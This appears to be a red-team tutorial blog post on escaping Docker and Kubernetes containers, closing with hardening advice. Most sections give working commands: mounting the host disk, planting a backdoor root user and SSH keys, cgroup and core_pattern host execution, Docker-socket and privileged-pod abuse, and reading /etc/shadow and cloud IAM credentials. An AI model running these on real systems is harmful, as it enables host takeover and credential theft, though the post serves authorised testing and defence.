Container Security February 5, 2026 25 min read

Containers aren't virtual machines. This fundamental misunderstanding leads to security assumptions that attackers exploit daily. While containers provide process isolation through Linux namespaces and cgroups, they share the host kernel—and that shared surface creates opportunities for escape.

In this post, we'll walk through practical container escape techniques from a red team perspective. These methods range from trivial misconfigurations that grant instant host access to sophisticated kernel exploits. Understanding these techniques is essential for both offensive security professionals and defenders hardening container deployments.

Disclaimer: These techniques should only be used in authorized penetration testing engagements or controlled lab environments. Unauthorized access to computer systems is illegal.

Reconnaissance: Am I in a Container?

Before attempting escape, confirm you're actually in a container. Several indicators reveal containerized environments:

# Check for .dockerenv file (Docker-specific)
ls -la /.dockerenv

# Check cgroup membership
cat /proc/1/cgroup | grep -E 'docker|kubepods|containerd'

# Look for container-specific environment variables
env | grep -i kube
env | grep -i docker

# Check hostname (often container ID)
hostname

# Inspect mount points
mount | grep -E 'overlay|aufs'
cat /proc/1/mountinfo

# Check for limited process visibility
ps aux  # Container typically shows few processes

# Look for container runtime sockets
ls -la /var/run/docker.sock
ls -la /run/containerd/containerd.sock

Tools like deepce and linpeas automate container detection and escape enumeration, identifying potential breakout vectors.

Escape via Privileged Containers

Easy Privileged Container Escape

Privileged containers disable nearly all isolation. They have full access to host devices, can load kernel modules, and can mount the host filesystem.

When a container runs with --privileged, the game is essentially over. The container has almost no isolation from the host.

Detection

# Check if running privileged
cat /proc/1/status | grep CapEff
# Privileged containers show: CapEff: 0000003fffffffff

# Or decode capabilities
capsh --decode=0000003fffffffff

# Check for /dev access
ls /dev  # Privileged containers see all host devices

Exploitation: Mount Host Filesystem

The simplest escape mounts the host's root filesystem:

# List available disks
fdisk -l
# Or
lsblk

# Mount the host's root partition
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host

# Now you have full host filesystem access
ls /mnt/host/etc/shadow
cat /mnt/host/etc/passwd

# Add SSH key for persistent access
mkdir -p /mnt/host/root/.ssh
echo "ssh-rsa AAAA... attacker@host" >> /mnt/host/root/.ssh/authorized_keys

# Or add a new root user
echo 'backdoor:x:0:0::/root:/bin/bash' >> /mnt/host/etc/passwd
echo 'backdoor:$6$salt$hash:19000:0:99999:7:::' >> /mnt/host/etc/shadow

Exploitation: Escape via cgroups

An alternative technique abuses cgroup release_agent functionality:

# Create a cgroup
mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/escape

# Enable notifications
echo 1 > /tmp/cgrp/escape/notify_on_release

# Get host path to container
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)

# Set release_agent to our payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent

# Create payload that runs on host
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/output" >> /cmd
chmod a+x /cmd

# Trigger the release_agent by creating and removing a process
sh -c "echo \$\$ > /tmp/cgrp/escape/cgroup.procs"

# Read the output
cat /output

Escape via Mounted Docker Socket

Easy Docker Socket Escape

When the Docker socket is mounted into a container, attackers can communicate directly with the Docker daemon to spawn privileged containers or access the host.

Mounting /var/run/docker.sock into containers is common for CI/CD pipelines, monitoring tools, and container management applications. It's also a direct path to host compromise.

Detection

# Check for Docker socket
ls -la /var/run/docker.sock

# Verify Docker access
curl --unix-socket /var/run/docker.sock http://localhost/version

Exploitation

With Docker socket access, spawn a privileged container that mounts the host filesystem:

# Using curl (if docker CLI isn't available)
# Create a privileged container mounting host root
curl --unix-socket /var/run/docker.sock \
  -X POST "http://localhost/containers/create?name=pwned" \
  -H "Content-Type: application/json" \
  -d '{
    "Image": "alpine",
    "Cmd": ["/bin/sh", "-c", "cat /host/etc/shadow"],
    "Privileged": true,
    "HostConfig": {
      "Binds": ["/:/host"],
      "Privileged": true
    }
  }'

# Start the container
curl --unix-socket /var/run/docker.sock \
  -X POST "http://localhost/containers/pwned/start"

# Get output
curl --unix-socket /var/run/docker.sock \
  "http://localhost/containers/pwned/logs?stdout=true"

If the Docker CLI is available, it's even simpler:

# Run privileged container with host filesystem
docker run -it --privileged --pid=host --net=host \
  -v /:/host alpine chroot /host /bin/bash

# You now have a root shell on the host

Escape via Dangerous Capabilities

Medium Capability Abuse

Linux capabilities provide granular privileges. Certain capabilities, even without full privileged mode, enable container escape.

Containers don't need --privileged to be dangerous. Specific capabilities can enable escape:

CAP_SYS_ADMIN

This capability is almost as dangerous as full privileged mode. It allows mounting filesystems, including the host's:

# Check capabilities
cat /proc/1/status | grep Cap
capsh --decode=<hex_value>

# If CAP_SYS_ADMIN is present, mount host filesystem
mount /dev/sda1 /mnt

CAP_SYS_PTRACE

Allows attaching to processes. Combined with host PID namespace, this enables process injection on the host:

# If running with --pid=host and CAP_SYS_PTRACE
# Find a host process
ps aux | grep root

# Inject into the process (requires appropriate tooling)
# Tools like linux-inject can inject shared libraries

CAP_NET_ADMIN

Enables network configuration changes. While not a direct escape, it can enable network-based attacks against the host or other containers.

CAP_DAC_READ_SEARCH

Bypasses file read permission checks. With the shocker exploit technique, this can read arbitrary host files:

# The shocker exploit opens files by brute-forcing file handles
# pointing to host filesystem through /proc/self/fd/
# Simplified concept (actual exploit requires C code):
# 1. Open a file in the container
# 2. Use open_by_handle_at() with guessed handle values
# 3. Handles may resolve to host filesystem files

Escape via Sensitive Mounts

Medium Sensitive Mount Exploitation

Certain host paths, when mounted into containers, provide escape opportunities even without elevated privileges.

/proc/sys Mounted Writable

If /proc/sys is mounted read-write (rare but happens), you can modify kernel parameters:

# Enable core dumps to arbitrary location
echo "|/path/to/malicious/script" > /proc/sys/kernel/core_pattern

# Trigger a crash to execute the script on host
sleep 100 &
kill -SIGSEGV $!

/etc or /root Mounted

Direct access to host configuration directories enables credential theft and backdoor installation:

# If /etc is mounted from host
cat /etc/shadow  # Grab password hashes
echo "attacker ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers

# If /root is mounted
cat /root/.ssh/id_rsa  # Steal SSH keys
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys

/var/log Mounted

Write access to host logs can enable escape via log injection if services process logs unsafely, or provide reconnaissance through log analysis.

Escape via Kernel Exploits

Hard Kernel Exploitation

Since containers share the host kernel, kernel vulnerabilities affect all containers and can provide direct host access.

Kernel exploits are the nuclear option—they bypass container isolation entirely by exploiting the shared kernel. Several high-profile vulnerabilities have enabled container escapes:

CVE-2022-0847 (Dirty Pipe)

Allowed overwriting read-only files by abusing pipe buffer handling. Exploitation was trivial and didn't require special capabilities:

# Dirty Pipe could overwrite /etc/passwd even in unprivileged containers
# The exploit:
# 1. Create a pipe
# 2. Fill it with data
# 3. Splice a target file into the pipe
# 4. Write data that overwrites the file content

# This allowed adding root users or modifying any file

CVE-2020-14386

Memory corruption in AF_PACKET sockets enabled privilege escalation from container to host.

CVE-2021-22555 (Netfilter Heap OOB)

Out-of-bounds write in Netfilter enabled container escape with CAP_NET_ADMIN capability.

Mitigation Note

Kernel exploits emphasize why keeping container hosts patched is critical. The shared kernel means one vulnerability affects all workloads. Consider:

  • Regular kernel updates on container hosts
  • Using hardened kernels (grsecurity, SELinux, AppArmor)
  • Running containers in lightweight VMs (Kata Containers, gVisor) for strong isolation

Escape via Host Networking

Medium Host Network Namespace Abuse

Containers running with --net=host share the host's network stack, enabling attacks against localhost services.

When a container uses the host network namespace, it can access services bound to localhost on the host:

# Scan host localhost services
nmap -sT 127.0.0.1

# Common targets:
# - Docker API (2375/2376)
# - Kubernetes API (6443, 8080)
# - etcd (2379)
# - Cloud metadata services (169.254.169.254)
# - Local databases

# If Docker API is exposed locally
curl http://127.0.0.1:2375/containers/json

# Access cloud metadata (if on cloud instance)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

Kubernetes-Specific Escapes

Kubernetes introduces additional escape vectors through its orchestration layer:

Service Account Token Abuse

Kubernetes mounts service account tokens into pods. If the service account has excessive permissions:

# Default token location
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Use token to query API
APISERVER=https://kubernetes.default.svc
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# Check permissions
curl --cacert $CACERT --header "Authorization: Bearer $TOKEN" \
  $APISERVER/apis/authorization.k8s.io/v1/selfsubjectaccessreviews \
  -X POST -H "Content-Type: application/json" \
  -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectAccessReview","spec":{"resourceAttributes":{"verb":"create","resource":"pods"}}}'

# If we can create pods, spawn a privileged one
curl --cacert $CACERT --header "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces/default/pods \
  -X POST -H "Content-Type: application/json" \
  -d '{
    "apiVersion": "v1",
    "kind": "Pod",
    "metadata": {"name": "pwned"},
    "spec": {
      "containers": [{
        "name": "pwned",
        "image": "alpine",
        "command": ["/bin/sh", "-c", "cat /host/etc/shadow"],
        "securityContext": {"privileged": true},
        "volumeMounts": [{"name": "host", "mountPath": "/host"}]
      }],
      "volumes": [{"name": "host", "hostPath": {"path": "/"}}]
    }
  }'

Node Access via hostPath

If you can create pods with hostPath volumes, you can access any node's filesystem:

# Pod spec that mounts host filesystem
apiVersion: v1
kind: Pod
metadata:
  name: hostpath-escape
spec:
  containers:
  - name: escape
    image: alpine
    command: ["/bin/sh", "-c", "sleep infinity"]
    volumeMounts:
    - name: hostfs
      mountPath: /host
  volumes:
  - name: hostfs
    hostPath:
      path: /
      type: Directory

Defense: Preventing Container Escapes

Understanding these techniques informs defensive strategy:

Never Run Privileged Containers in Production

Use specific capabilities instead of --privileged. Audit workloads requesting privileged mode.

Protect the Docker Socket

Never mount /var/run/docker.sock into untrusted containers. Use Docker's authorization plugins or rootless Docker for CI/CD.

Drop Capabilities

Explicitly drop all capabilities and add only what's required:

docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE myapp

Enable User Namespaces

Remap container root to unprivileged host user:

dockerd --userns-remap=default

Use Read-Only Root Filesystem

docker run --read-only --tmpfs /tmp myapp

Apply Seccomp and AppArmor Profiles

Restrict system calls available to containers:

docker run --security-opt seccomp=profile.json myapp
docker run --security-opt apparmor=docker-default myapp

Keep Kernels Patched

Container escapes via kernel exploits are common. Maintain aggressive patching on container hosts.

Consider Strong Isolation

For sensitive workloads, use Kata Containers, gVisor, or Firecracker to provide VM-level isolation for containers.

Conclusion

Container isolation is weaker than many assume. The shared kernel, combined with common misconfigurations like privileged mode and mounted sockets, creates numerous escape paths. Red teams should enumerate these vectors during container environment assessments; defenders should treat container security as defense-in-depth rather than a hard boundary.

The key insight: containers are not security boundaries in the same way VMs are. Design your architecture accordingly, and assume that container compromise may lead to host compromise unless explicit hardening prevents it.

Tools & Resources
Container Security Docker Kubernetes Container Escape Red Team Penetration Testing
← Back to Blog

Need a Container Security Assessment?

Our team tests container environments for escape vectors, misconfigurations, and privilege escalation paths.